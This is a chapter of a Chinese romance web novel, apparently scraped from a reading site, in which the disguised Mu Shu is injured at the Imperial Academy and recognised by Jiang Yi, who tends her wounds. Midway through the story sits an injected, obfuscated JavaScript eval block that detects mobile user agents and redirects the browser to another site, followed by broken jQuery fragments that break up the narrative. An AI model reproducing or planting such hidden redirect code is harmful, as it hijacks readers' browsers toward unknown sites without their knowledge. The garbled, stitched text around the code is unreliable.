20. 第 20 章

作品:《逢姝

    料峭春寒,穆姝喝了药,看着窗外发呆。


    佟正坐在火炉旁把廊上的木炭整理齐整,堆在一边。


    天色寒凉,碳火全天都不能断。


    卢曼往火堆里放了土豆和红薯。


    眼巴巴地守在一边等着吃。


    整个屋子都是香甜的味道。


    佟正拍拍手上的灰尘。


    “主子,太学院那边工程里,地基打桩已经盖的差不多了,剩下的工程,咱们这边该派人盯着了。”


    花了钱,就不能在落在埋怨了。


    卢曼托腮坐在一边,苦等红薯。


    抬眸看着穆姝:“阿瑾,你们做生意的真不容易,不仅得出钱,还得出力。”


    穆姝笑:“在京城商会,就不是一家一言的事了。”


    卢曼伸手试探戳了戳红薯:“咱们去那学院,不会还能碰上那个侯爷吧?”


    佟正点头:“八成有。”


    “啊,怎么哪都有他。”


    卢曼对于这个当初害她被集体批评的人,很有意见。


    穆姝一旁解释:“他是陛下派去盯守太学工程的,没完工之前,应该会一直能看到他。”


    太学基地的工程到了第二阶段。


    司潜派人传来书信,他们已经安全抵达云关,勿要挂念。


    穆姝看着熟悉的字迹,他做事总是周到。


    凡事都想的到,都会安排周到。


    每次出远门,总会来信报平安。


    明明一起同行不过三年,却感觉过了很久。


    司潜尽所能的把一切帮她铺陈在眼前,这种改变甚至在潜移默化里,叫她慢慢习惯。


    她很依赖他。


    习惯依赖真是一件可怕的事。


    佟正已经准备好马车,外头的雪化了,天上也久违的露出太阳。


    尽管风里带着寒意,阳光照在身上也暖洋洋的。


    太学里面的路,已经是轻车熟路。


    佟正把穆姝先放在门口,随后拐弯去停靠马车。


    穆姝一个人闲庭漫步,沿着长廊慢悠悠往前走。


    周围积雪已经被清扫干净,长廊地砖上还有成片的污水。


    微风吹拂,不远处传来朗朗书声。


    抬眸一看,院中学子们在东园读书诵读。


    科举考试三年一次,转眼还剩下半年时间。


    科举对于那些家事显赫的氏族,有爵位要传的世家大族来说不是那般看重。


    当今朝中权力分化在文臣手上,但权力之下,更多传承。


    王朝中不乏实干者,可是顺势而为,更得重用的,却是那些阿谀奉承的宦官。


    当权者看重的不再是才能,而是制约和平衡。


    权力的天平却来越偏向集中。


    科举成了非名门大族,看重的机会。


    这是家中子弟,入朝的一个最简便的方法。


    太学如今尽管式微,但给这些学子带来优势。


    他们在此处念书,远比那些寒门子弟寒窗苦读十年要快捷省力。


    穆姝绕开长亭,准备去后院。


    正要转身,突然被一个怀里抱着书本的书童,撞倒在地。


    “哗啦”一声,书童怀里的书本倒塌在地。


    书童吃痛的揉了揉被撞的肩膀,不悦地皱着眉头:“怎么走路的,没长眼睛啊!”


    穆姝惯性没站稳,一下踉跄摔在地上。


    额角不小心撞在旁边的石头棱角上,额角流下鲜血。


    穆姝动作迟缓地支着手臂起身,并不在意额角的伤口。


    伸手替那书童捡起掉地上的书本。


    不过有的书本上面有的不下心沾上了旁边化雪的泥土。


    书亭的学生们听到动静,闻声看过去。


    封凌从座位上伸脖子眺望,看到是严修琴家的书童。


    “真是贵族家的大少爷,搬书都得叫小书童帮忙,现在把人撞了也不知道道歉。”


    封凌向来跟严修琴不对付,不过很多时候都是封凌单方面挑衅。


    毕竟他吵也吵不赢严修琴,打也费劲能打过。


    严修琴趴在桌上,对于亭外的动静充耳不闻,眼都不抬一下。


    穆姝伸手捡书本,手掌方才支撑地面,搓的皮都破了。


    一个不注意,血滴顺着手掌往下流。


    整个显得有点狼狈。


    书童看她手上的血,嫌弃地伸手将她推倒。


    “别把我的书给弄脏了。”


    穆姝被他这么一推,身体不受控制地往后倒。


    伸手要扶地面。


    这时候后背突然感受到一个力量,扶住她的肩膀。


    穆姝转头一看,一个锦衣狐袍的少年出现在身后。


    眉眼温和儒雅,脸上带着柔和的笑意。


    这人看着有点面熟。


    “你没事吧?”


    少年声音柔和温柔,像高山上融化的清泉,拍打在青石。


    穆姝摇头,接着少年的力道站稳脚跟。


    书童见少年,原本脸上的不满一下子荡然无存。


    抱着捡起来的书,行礼:“封助学。”


    封阔点头,嘴角是礼貌得体的微笑。


    “下次走路小心些,莫要在撞到客人了。”


    小书童不敢说话,点点头,便抱着书往书亭跑。


    穆姝听着封助学,脑子忽然想起来。


    当日在堂外听他们辩论时,还见过他。


    颔首向他道谢:“多谢。”


    封阔摇头表示没事,视线注意到穆姝的额头。


    白皙的额角,流下鲜红的血,顺着眼眶往下流,诡异又显眼。


    “你受伤了。”


    穆姝抬手看摸了摸额角,并没放在心上,不在意:“没什么大事。”


    “我在西园的住处有药粉,公子伤势严重,不如随我去,包扎一下。”


    正当穆姝想开口拒绝时候。


    身后传来一道俊朗又熟悉的声音。


    “阿瑾公子可是叫我好等啊。”


    两人闻声看过去。


    不是别人,正是江翊。


    身上没穿大氅,只是单薄的锦袍,慵懒靠在一旁的长廊柱子旁。


    勾勒的身形修长劲瘦,五官俊朗如星晨,轮廓分明。


    穆姝皱眉,他这话怎么听,怎么觉得阴阳怪气。


    封阔知道江翊的身份,欠身行礼。


    “小侯爷。”


    江翊眼底晦暗不明,“嗯”一声,走到两个人中间。


    余光注视到她额角还有手上的伤口。


    眼底闪过寒光。


    站在原地看着她,不说话。


    他怎么一会没看见她,她就能把自己给整成这样。


    穆姝偏过头,避开他的眼神。


    感觉有点别扭。


    穆姝抬眸看着他,明明脸色如常,还是能感觉他生气。


    “侯爷不是说要商量,用料才买的事情吗?咱们还是先去谈公事。”


    江翊挑眉,不接她的茬:“有吗?”


    穆姝皱眉,知道他那个捉弄人的毛病又犯了。


    “有啊,封助学还是快去忙吧,都是小伤,不必担忧。”


    封阔听两个人还有事情,不好打扰,说了两句,便转身告辞。


    穆姝看着站在原地的江翊。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977106|136967||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长长舒了一口气:“快走吧。”


    “……”


    穆姝皱眉,抬手指了指额头上的伤口。


    仿佛再说,再不走伤口就该愈合了。


    江翊带着幽怨看了她一眼。


    随后转身走在前面。


    江翊走的快,迈着长腿,穆姝在后面,吃力跟着。


    到了后山小院,江翊猛的停住脚步。


    后面的穆姝一个刹车不及时。


    一下子撞在他的后背上。


    额头上的伤口被撞这么一下,传来一阵闷痛。


    鼻头泛酸,眼眶忍不住泛红了。


    心里突然有种没有由来的委屈。


    用另一只干净的手,揉了揉眼睛。


    江翊看着穆姝这样可怜样子,心里像是压着一块大石头。


    抓起她破皮流血的手,放在嘴里,含着。


    每次看到穆姝那副可怜样子,都想她绑在身边。


    穆姝心里一惊,冰冷的手掌传来一阵温热。


    破皮的血肉从麻木变成火辣辣的。


    穆姝的眼泪更加汹涌,没有又来的止不住眼泪。


    江翊含着她的伤口,眼尾猩红的像染了血。


    他比任何时候都笃定,穆姝就在眼前。


    他的小姑娘,就活生生的站在他面前。


    尽管容貌改变,尽管身份什么全都不是。


    光凭着那双眼睛。


    就够了。


    压抑的情绪无处释放,穆姝咬着唇瓣,想抽回手。


    却被江翊紧紧拽住。


    一把搂在怀里。


    穆姝伸手挣扎,此地鲜少有人,江翊是计划好的。


    “放开我。”


    穆姝声音带着哽咽。


    江翊手臂紧紧攥紧她的衣料。


    感受到穆姝已经瘦的皮包骨。


    眼泪就不争气的留下来。


    “你知不道,我的心都碎了。”


    听到她的死讯,看到她受伤,种种伤痛。


    这三年里,独自崩溃了不知道多少次。


    两个的眼泪决堤,汹涌不断。


    穆姝放弃挣扎,沉默在江翊怀里。


    久违的味道,叫她止不住眼泪。


    没有说话,也没有恢复,两个人静静的抱在一起。


    安静的能听到彼此的心跳声。


    穆姝不断提醒自己不能把江翊拉进泥潭。


    可闻到他的味道,感受到他身上的温暖。


    贪婪的舍不得离开。


    不知道过了多久。


    江翊松开穆姝,拉着她进了小院。


    拿出药箱,给她的手包扎伤口。


    对于刚才的事,只字不言。


    抬眸看向穆姝。


    “你要得人,他身上得伤很重,求生意志薄弱,精神上受了刺激。”


    穆姝‘嗯’一声,感觉额头上的伤口,火辣辣的。


    转眸环视周围,是久违熟悉的感觉。


    一旁木果树上的秋千,也是一样的位置。


    只要看一眼,便知道是他布置的,除了他,应该没有谁,还记得这些细节。


    屋中带着淡淡花香,这也是穆姝喜欢的。


    少年长睫微微颤抖,修长的手指,夹着棉球,神情严肃认真。


    穆姝忍不住勾起嘴角。


    若是不知道的人,还以为她受了什么重伤。


    江翊仔细包扎好,脸色才和缓下来。


    “为什么帮我?”


    江翊脸上恢复了往常的放纵不羁。


    对于方才的事,两个人都默契的没有开口。


    “小爷仗义勇为,不成吗?”